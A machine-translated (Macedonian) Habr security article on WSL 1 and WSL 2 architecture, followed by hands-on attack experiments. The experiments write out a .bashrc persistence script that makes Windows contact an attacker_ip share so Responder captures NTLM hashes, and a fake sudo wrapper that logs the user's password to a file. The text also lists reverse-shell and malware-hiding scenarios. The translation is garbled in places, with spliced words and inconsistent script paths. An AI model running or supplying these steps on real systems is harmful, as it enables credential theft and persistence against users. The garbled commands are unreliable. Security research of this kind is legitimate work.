WSL експерименти. Дел 1

Здраво, Хабр! OTUS лансира нов тек на курсеви во октомври „Безбедност Linux». Во пресрет на почетокот на курсот, со вас споделуваме статија напишана од еден од нашите наставници, Александар Колесников.

Во 2016 година, Мајкрософт ја претстави новата WSL технологија на ИТ заедницата (Wиндоус Sпотсистем за Linux), што на долг рок овозможи обединување на претходно непомирливите конкуренти кои се бореа за популарност кај обичните и напредните корисници на оперативниот систем: Windows и LinuxОваа технологија овозможи можност за користење на алатките на оперативниот систем. Linux опкружен Windows без потреба од лансирање Linux, на пример, користење на повеќекратно стартување. На Habr можете да најдете бројни статии што ги опишуваат придобивките од користењето на WSL. Сепак, за жал, во времето на пишување, не беа пронајдени студии за безбедноста на оваа симбиоза на оперативни системи на овој ресурс. Оваа објава е обид да се исправи ова. Во статијата ќе се дискутираат карактеристиките на архитектурите WSL 1 и 2 и ќе се анализираат неколку примери на напади врз системи што ги користат овие технологии. Статијата е поделена на два дела. Првиот ќе ги претстави главните теоретски методи на напад. Linux и WindowsВтората статија ќе опфати поставување на тест-окружување и репродуцирање на напади.

WSL 1: архитектонски карактеристики

За целосно да се разберат безбедносните проблеми на WSL, потребно е да се идентификуваат клучните нијанси поврзани со имплементацијата на подсистемот. Една од главните потреби на корисниците што ги опфаќа WSL е овозможувањето пристап до терминалот. Linux системи на домаќинот со оперативен систем WindowsИсто така, понудената компатибилност беше толку природна што извршните датотеки Linux (ELF) може да се лансира директно во системот WindowsЗа да се постигнат овие цели во Windows 10 создаден е посебен подсистем кој овозможува стартување на апликации Linux користејќи сет на специфични системски повици - затоа, беше направен обид да се мапира сет на системски повици Linux на WindowsФизички, ова беше имплементирано со додавање на нови драјвери и нов формат на процесот. Визуелно, архитектурата изгледаше вака:

Во основа, интеракција со оперативниот систем Linux беше организиран со користење на неколку модули на јадрото и посебен тип на процес - pico. Дијаграмот погоре покажува дека процесот што работи во инстанцата Linux на домаќинот, мора да биде матичен и мора да ги користи истите ресурси како и обичните апликации WindowsНо, како може да се постигне ова? Во проектот Дравбриџ концептите на процесот беа развиени за Windows, кој ги обезбеди сите потребни компоненти на оперативниот систем (во зависност од неговата верзија) за да се изврши апликација од друг оперативен систем.

Забележете дека предложената апстракција овозможи да не се потпирате на оперативниот систем (особено, Windows), кој очекува да се лансира друг процес на оперативниот систем и предложи општ пристап.

Така, секоја апликација во рамките на pico процесот може да работи без оглед на јадрото. Windows:

1. Проблемите со компатибилноста и преводот на системските повици мора да ги решаваат специјални провајдери;
2. Контролата на пристап мора да се имплементира преку Безбедносниот монитор. Мониторот се наоѓа во јадрото и затоа Windows Беше потребна надградба во форма на нов драјвер кој би можел да дејствува како провајдер за вакви процеси. Прототипот на пико процесот е шематски прикажан подолу:

Бидејќи датотечниот систем Linux користи имиња на датотеки и директориуми што осетуваат големи и мали букви, Windows Додадени се два типа на датотечен систем за употреба со WSL: VolFS и DriveFS. VolFS е имплементација на датотечен систем. Linux, DriveFS е датотечен систем кој работи според правилата Windows, но има опција за избор на чувствителност на големи и мали букви кај имињата.

WSL 2

WSL 1 имаше голем број ограничувања што го спречуваа да се користи за решавање на најширокиот спектар на задачи: на пример, немаше можност за работа со 32-битна верзија. Linux Апликациите не можеа да користат драјвери за уреди. Затоа, во 2020 година беше издаден WSL 2, кој го промени пристапот кон градење на подсистемот. WSL 2 е оптимизирана виртуелна машина која одговара на карактеристиките на потрошувачка на ресурси на WSL 1. Сега, во зависност од проблемите што ги решава корисникот, оперативниот систем Windows, можете да ја изберете потребната верзија на подсистемот за работа со LinuxЗа да се ублажат потенцијалните ранливости, WSL 2 беше имплементиран врз основа на Hyper-V во Windows 10Во оваа форма Windows има можност да го стартува јадрото на оперативниот систем изолирано LinuxВреди да се запомни дека верзијата 1 на WSL беше воведена како бета функција наменета да ја покаже насоката на развој. Windows во оваа област, па затоа транзицијата кон Hyper-V беше неизбежна. Конечната архитектура изгледа вака:

Во оваа верзија, системските јадра Windows и Linux Секој од нив има свои ресурси и се преклопува само во рамките на датотечниот систем, но ова преклопување е далеку од целосно. Интеракцијата помеѓу датотечните системи се остварува преку клиент-сервер обвивка што работи на протоколот 9P.

Денес Microsoft обезбедува можност за префрлување помеѓу WSL 1 и WSL 2. Двете верзии се достапни за употреба.

WSL безбедност

Во моментов, постојат неколку дела кои опишуваат некои пристапи за користење на легитимни оперативни алатки за напад на комуникација помеѓу потсистемите. Ќе ги користиме нивните скрипти за да ја провериме релевантноста на нападите во моментот на пишување. Општа листа на напади и сценарија:

1. Имплементација на датотечен систем: права на пристап, достапност на споделени директориуми/механизми за размена на податоци.

Беше спроведено истражување за да се утврдат прекршувањата на правилата за пристап од Linux FS->Windows ФС, Windows FS->Linux FS. Истражувањето ја покажа способноста за менување на дадена датотека во рамките на целниот оперативен систем. Беа направени и обиди за замена, создавање дупликати и бришење на дел од датотечните системи.

Сценарио:

• A. Напад од оперативниот систем Windows — модификација на датотеки од директориумот /etc на оперативниот систем Linux.
• Б. Напад од оперативниот систем Linux — модификација на датотеки во директориуми: C:Windows, C:Program Files, C:Users<User>

2. Имплементација на мрежниот стек.

Истражувањето беше спроведено користејќи примери на напади од оперативниот систем Linux на WindowsБеа искористени оперативните карактеристики на мрежниот стек, поточно неговите механизми за автентикација за различни ресурси.

Сценарио:

• Отворање пристап до порта што е зафатена во системот Windows
• Отворање порта без соодветни права
• Извршување на обратна обвивка со користење на elf датотека во оперативен систем Windows.

3. Сокривање на стартување на малициозен софтвер процеси со користење на WSL потсистемот.

Истражувањето беше засновано на едноставен факт - безбедносните потсистеми не можат да пресретнуваат настани во друго јадро што работи со користење на легитимен провајдер од оперативниот систем во случајот на WSL 1. Во случајот на WSL 2, не постои начин да се прегледаат настаните што се случуваат во посебен кернел во рамките на лесната виртуелна машина.

Сценарио:

1) Стартувајте ја апликацијата за далечински пристап до системот и прегледајте ги најавените настани.

WSL 1 Експерименти: Хаширање (ОС Windows)

Конечно стигнавме до практичниот дел. Прво, треба да ја поставиме средината за тестирање. Сите експерименти ќе се спроведуваат на тест-клупа со Windows 10 2004. Сликата на оперативниот систем избрана за WSL беше Ubuntu 18.04 април. Сликата беше избрана случајно, и која било друга ќе работи исто толку добро. Команди за поставување на поставката:

Прво мора да започнете powershell.exe како администратор.

За WSL 1 треба да ги извршите командите:

1. Овозможи-WindowsФакултативна карактеристика -Он-лајн -Име на одликата Мајкрософт-Windows-Подсистем-Linux #Овозможи ја функцијата WSL
2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Вчитај слика Linux од продавницата на Microsoft

Откако ќе го рестартирате подесувањето, можете да ја извршите командата bash. Ако сè работеше правилно, ќе видите сличен излез во конзолата. Windows:

Ќе ја користиме дистрибуцијата Kali како машина на напаѓачот. Linux, сите машини мора да бидат на истата локална мрежа.

Да претпоставиме дека имаме непривилегиран пристап до WSL на машината WindowsАјде да се обидеме да го нападнеме оперативниот систем. Linux, повикувајќи ја командата од LinuxЗа да го имплементираме нападот, ќе користиме едноставна техника на автоматско стартување - ќе ја додадеме нашата скрипта во околината. LinuxЗа да го направите ова, треба да ја промените датотеката .bashrc.

На машина со WSL извршуваме:

	1. bash
	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
	2. echo  «/home/sam/.attack.sh» >> .bashrc
	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
	4. chmod u+x .attack.sh
	5. exit

Со автомобил на Кали Linux извршуваме:

1. Responder -I eth0 -rdvw

Со автомобил Windows Ајде да започнеме баш.

Ги чекаме резултатите на машината Kali. Linux:

Значи, ги добивме корисничките хешови Windows преку WSL подсистемот со извршување на команда на системот Linux.

WSL 1 Експерименти: Добивање корисничка лозинка (ОС) Linux)

Ајде да направиме уште еден експеримент. За време на оваа проверка ќе додадеме во датотеката .bashrc неколку команди за да се добие корисничката лозинка на оперативниот систем Linux.

Ајде да го стартуваме bash и да ги внесеме командите:

1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit

За нападот да биде успешен, корисникот Сем мора да ја повика командата sudo во терминалот. LinuxПосле ова, лозинката на корисникот на оперативниот систем Linux ќе биде во датотеката pass.txt:

Спроведувањето на нападите беше дадено само за теоретски информации.

Следниот дел од статијата ќе ја опише имплементацијата на протоколот 9P, ќе размисли за создавање скенер за овој протокол, а исто така ќе изврши напад користејќи го.

Список на користена литература

• WSL 2 ИСТРАЖУВАЊЕ ВО ЛОШОТ
• Windows Подсистем за Linux Документација

Прочитај повеќе

• Како да изберете софтвер за поправка на јадрото Linux во реално време

Извор: www.habr.com